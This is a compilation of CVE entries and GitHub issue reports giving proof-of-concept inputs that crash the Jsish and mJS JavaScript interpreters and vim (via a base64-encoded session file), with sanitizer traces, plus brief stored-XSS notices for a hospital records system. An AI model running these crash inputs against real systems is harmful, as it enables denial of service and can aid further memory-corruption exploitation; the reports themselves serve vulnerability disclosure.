Jsish v3.5.0 was discovered to contain a stack overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case**

function JSEtest(Function) {
    var a \= Array.prototype.push.call(a, 42, 43);
}
for (var i \= 0; i < 25000; i++) {
    JSEtest(Array);
}

​

**Execution steps & Output**

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0)
    #0 0x7f6abd3fb1e5  (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x5b1e5)
    #1 0x5571122680fd in Jsi\_NameLookup src/jsiUtils.c:413
    #2 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #3 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #4 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #5 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #6 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #7 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #8 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #9 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    ......					......					......
    ......					......					......
    #246 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #247 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #248 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #249 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #250 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119

SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x5b1e5)
==9209==ABORTING

Credits: Found by OWL337 team.

CVE-2021-46505: Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) · Issue #53 · pcmacdon/jsish

Jsish v3.5.0 was discovered to contain a stack overflow via Jsi_LogMsg at src/jsiUtils.c.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case1**

WebSocket({
  "a": 2.3023e-320
})

**Test case2**

var JSEtest \= times(function () {
    WebSocket({
        'red': (new Object(null % null))
    });
}) < times(log(null % null));
assert.sameValue(JSEtest.length, 2, 'newArr.length');

**Execution steps & Output**

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
ERROR: AddressSanitizer: stack-overflow on address 0x7ffe51210dfc (pc 0x55d8eb693014 bp 0x0fffca2427b6 sp 0x7ffe51210df0 T0)
    #0 0x55d8eb693013 in Jsi\_LogMsg src/jsiUtils.c:151
    #1 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #2 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #3 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #4 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #5 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #6 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    ......					......					......
    ......					......					......
    #246 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #247 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #248 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #249 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #250 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
SUMMARY: AddressSanitizer: stack-overflow src/jsiUtils.c:151 in Jsi\_LogMsg
====ABORTING

Credits: Found by OWL337 team.

CVE-2021-46507: Stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg · Issue #54 · pcmacdon/jsish

There is an Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function() {
      ((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          JSEtest(Object.create.apply({}, [Object]))
        }
        }
      })(6))
    })()
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_core.c:372: mjs\_pop\_val: Assertion \`m-\>len \>\= sizeof(v)' failed.
\[1\]    33895 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46511: Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c:372: mjs_pop_val  · Issue #183 · cesanta/mjs

There is an Assertion `i < parts_cnt' failed at src/mjs_bcode.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_CLANG=clang
$(DOCKER\_CLANG) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3])));
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_bcode.c:121: struct mjs\_bcode\_part \*mjs\_bcode\_part\_get\_by\_offset(struct mjs \*, size\_t): Assertion \`i < parts\_cnt' failed.
\[1\]    88797 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46508: Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t). · Issue #188 · cesanta/mjs

There is an Assertion `mjs_stack_size(&mjs->scopes) > 0' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
DOCKER\_CLANG=clang
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function() {
      ((function JSEtest(a) {
        if (a > 3) {
          if ([((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))([((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))({}, [Object])])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))
    })()
**Execution steps & Output**

$ ./mjs/build/mjs poc.js

mjs: src/mjs\_exec.c:725: mjs\_execute: Assertion \`mjs\_stack\_size(&mjs-\>scopes) \> 0' failed.
\[1\]    111718 abort      mjs poc.js

CVE-2021-46517: Assertion `mjs_stack_size(&mjs->scopes) > 0' failed src/mjs_exec.c:725: mjs_execute. · Issue #184 · cesanta/mjs

There is an Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
DOCKER\_CLANG=clang
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))(((JSON.stringify - (6) * 10000) - 20 * 9060)([([JSON.parse(JSON.stringify([(0)]))])]));
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_exec.c:949: mjs\_execute: Assertion \`mjs\_stack\_size(&mjs-\>scopes) \>\= scopes\_len' failed.
\[1\]    118000 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46515: Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c:949: mjs_execute. · Issue #186 · cesanta/mjs

There is an Assertion 'v->d.lval != v' failed at src/jsiValue.c in Jsish v3.5.0.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case**

function applyTags(text, open, close, action) {
    var openTags \= arguments;
    var lastOcr \= text.indexOf(open), nextOpen, nextClose, iniBlock, updBlock;
    if (openTags.pop()) {
        openTags.push(lastOcr);
    }
    while (openTags.length \> 0) {
        lastOcr \= action;
        nextOpen \= text.indexOf(open, lastOcr + open.length);
        nextClose \= text.indexOf(close, lastOcr + open.length);
    }
    return text;
}
function JSEtest(text) {
    return text.toUpperCase();
}

var text \= '<lowcase> YEAH! </lowcase> Some <upcase> random <upcase> text </upcase> to </up$
text = applyTags(text, '<upcase\>', '</upcase>', JSEtest);

**Execution steps & Output**

$ ./jsish/jsish poc.js

/home/user/poc.js:9: bug: Convert a unknown type: 0x6 to number    (at or near "length")
/home/user/poc.js:10: bug: Convert a unknown type: 0x6 to number    (at or near "length")

jsish: src/jsiValue.c:181: ValueFree: Assertion \`v-\>d.lval !\= v' failed.
\[2\]    116137 abort      jsish poc.js

Credits: Found by OWL337 team.

CVE-2021-46506: Assertion `v->d.lval != v' failed at  src/jsiValue.c:181: ValueFree. · Issue #52 · pcmacdon/jsish

A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodtester Hospital's Patient Records Management System 1.0 via the description parameter in room_list.

CVE-2022-22852 Exploit Title: HPRMS - 'room\_list' Stored XSS Exploit Author: (Sant268) Vendor Homepage: https://www.sourcecodester.com/ Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html Version: HPRMS 1.0 Tested on: Ubuntu 20, Apache CVE: CVE-2022-22852

CVE-2022-22852: CVE-2022-22852/CVE-2022-22852.md at main · Sant268/CVE-2022-22852

A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodtester Hospital's Patient Records Management System 1.0 via the description parameter in room_types.

XSS1 - Sourcecodetester Hospital CRM Exploit Title: HPRMS - 'room\_types' Stored XSS Exploit Author: (Sant268) Vendor Homepage: https://www.sourcecodester.com/ Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html Version: HPRMS 1.0 Tested on: Ubuntu 20, Apache CVE: CVE-2022-22850

CVE-2022-22850: CVE-2022-22850/CVE-2022-22850.md at main · Sant268/CVE-2022-22850

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2.

**Description**

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash 8e4af851fd3eff4b22fca962e5be783742e8f1bb) on Ubuntu 20.04 for x86\_64/amd64.

**Proof of Concept**

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters, it's also fairly large, but we haven't been able to minimize it further):

    $ echo -ne "ZGVGEDAw7sow////f5kwMDAwMDAwMDAwMDAwMDAKICBkZWYwMDAwMDAwMDAwMDAwMDAwMDAwMDDe
    AAojf+QwMDAwMDAwlo0wMDAwMDAwMDAwMApbCiBzaWwhbm9ybTBlZW5kcyBzaWwhbm9ybTBSHirt
    kTB7DS8vA1ZubyAgbm9yCjB1CnN1ISowMDAwMDAwCnNpbCFub3JthyogKiBub3Iwbm+Nks+KZHN1
    ISosKgtub35tMHUJc2n/AApzaQAKICBkZWYgU2Vjb25kRnVuY3RpwTAwMDAwMDAwMDAwMDCsMDAw
    KDAJMDAwMDAwMDAwMDAwMDAwMDAwMDAwCm4=" | base64 -d > poc
    $ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
    =================================================================
    ==52803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000085b1 at pc 0x7f76508e5f40 bp 0x7ffe59bfb120 sp 0x7ffe59bfa8c8
    READ of size 4 at 0x6020000085b1 thread T0
        #0 0x7f76508e5f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f)
        #1 0x55b8deba6cce in ml_flush_line /home/faraday/vim/src/memline.c:4028
        #2 0x55b8deba0811 in ml_append_flush /home/faraday/vim/src/memline.c:3313
        #3 0x55b8deba0a6c in ml_append_flags /home/faraday/vim/src/memline.c:3358
        #4 0x55b8deba0956 in ml_append /home/faraday/vim/src/memline.c:3345
        #5 0x55b8de739794 in open_line /home/faraday/vim/src/change.c:2139
        #6 0x55b8dec75acf in n_opencmd /home/faraday/vim/src/normal.c:6528
        #7 0x55b8dec8320e in nv_open /home/faraday/vim/src/normal.c:7664
        #8 0x55b8dec3ab1f in normal_cmd /home/faraday/vim/src/normal.c:1120
        #9 0x55b8de9972ac in exec_normal /home/faraday/vim/src/ex_docmd.c:8629
        #10 0x55b8de99706b in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8592
        #11 0x55b8de996589 in ex_normal /home/faraday/vim/src/ex_docmd.c:8510
        #12 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
        #13 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #14 0x55b8deec9c2f in do_source /home/faraday/vim/src/scriptfile.c:1512
        #15 0x55b8deec6c0c in cmd_source /home/faraday/vim/src/scriptfile.c:1098
        #16 0x55b8deec6dc9 in ex_source /home/faraday/vim/src/scriptfile.c:1124
        #17 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
        #18 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #19 0x55b8de949fa7 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:587
        #20 0x55b8df446dc9 in exe_commands /home/faraday/vim/src/main.c:3091
        #21 0x55b8df4388bf in vim_main2 /home/faraday/vim/src/main.c:774
        #22 0x55b8df437da5 in main /home/faraday/vim/src/main.c:426
        #23 0x7f764ee940b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #24 0x55b8de6c0cbd in _start (/home/faraday/vim/src/vim+0x125ccbd)
    
    0x6020000085b1 is located 0 bytes to the right of 1-byte region [0x6020000085b0,0x6020000085b1)
    allocated by thread T0 here:
        #0 0x7f7650952bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x55b8de6c117e in lalloc /home/faraday/vim/src/alloc.c:248
        #2 0x55b8de6c0f29 in alloc /home/faraday/vim/src/alloc.c:151
        #3 0x55b8de6c13c2 in vim_memsave /home/faraday/vim/src/alloc.c:601
        #4 0x55b8deba0ce3 in ml_replace_len /home/faraday/vim/src/memline.c:3435
        #5 0x55b8df128fec in u_undoredo /home/faraday/vim/src/undo.c:2811
        #6 0x55b8df1262cb in undo_time /home/faraday/vim/src/undo.c:2563
        #7 0x55b8de991611 in ex_undo /home/faraday/vim/src/ex_docmd.c:7979
        #8 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
        #9 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #10 0x55b8deec9c2f in do_source /home/faraday/vim/src/scriptfile.c:1512
        #11 0x55b8deec6c0c in cmd_source /home/faraday/vim/src/scriptfile.c:1098
        #12 0x55b8deec6dc9 in ex_source /home/faraday/vim/src/scriptfile.c:1124
        #13 0x55b8de958aa4 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2567
        #14 0x55b8de94c42d in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #15 0x55b8de949fa7 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:587
        #16 0x55b8df446dc9 in exe_commands /home/faraday/vim/src/main.c:3091
        #17 0x55b8df4388bf in vim_main2 /home/faraday/vim/src/main.c:774
        #18 0x55b8df437da5 in main /home/faraday/vim/src/main.c:426
        #19 0x7f764ee940b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f) in __interceptor_memmove
    Shadow bytes around the buggy address:
      0x0c047fff9060: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff9070: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
      0x0c047fff9080: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff9090: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff90a0: fa fa fd fa fa fa fd fa fa fa 03 fa fa fa 00 05
    =>0x0c047fff90b0: fa fa fd fa fa fa[01]fa fa fa 01 fa fa fa fd fd
      0x0c047fff90c0: fa fa 00 01 fa fa fd fa fa fa fd fd fa fa 01 fa
      0x0c047fff90d0: fa fa 00 03 fa fa 01 fa fa fa fd fa fa fa fd fa
      0x0c047fff90e0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa 00 01
      0x0c047fff90f0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa
      0x0c047fff9100: fa fa 02 fa fa fa 00 01 fa fa fd fa fa fa fd fd
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==52803==ABORTING
    

**Impact**

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

**Acknowledgements**

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

Tag

#ubuntu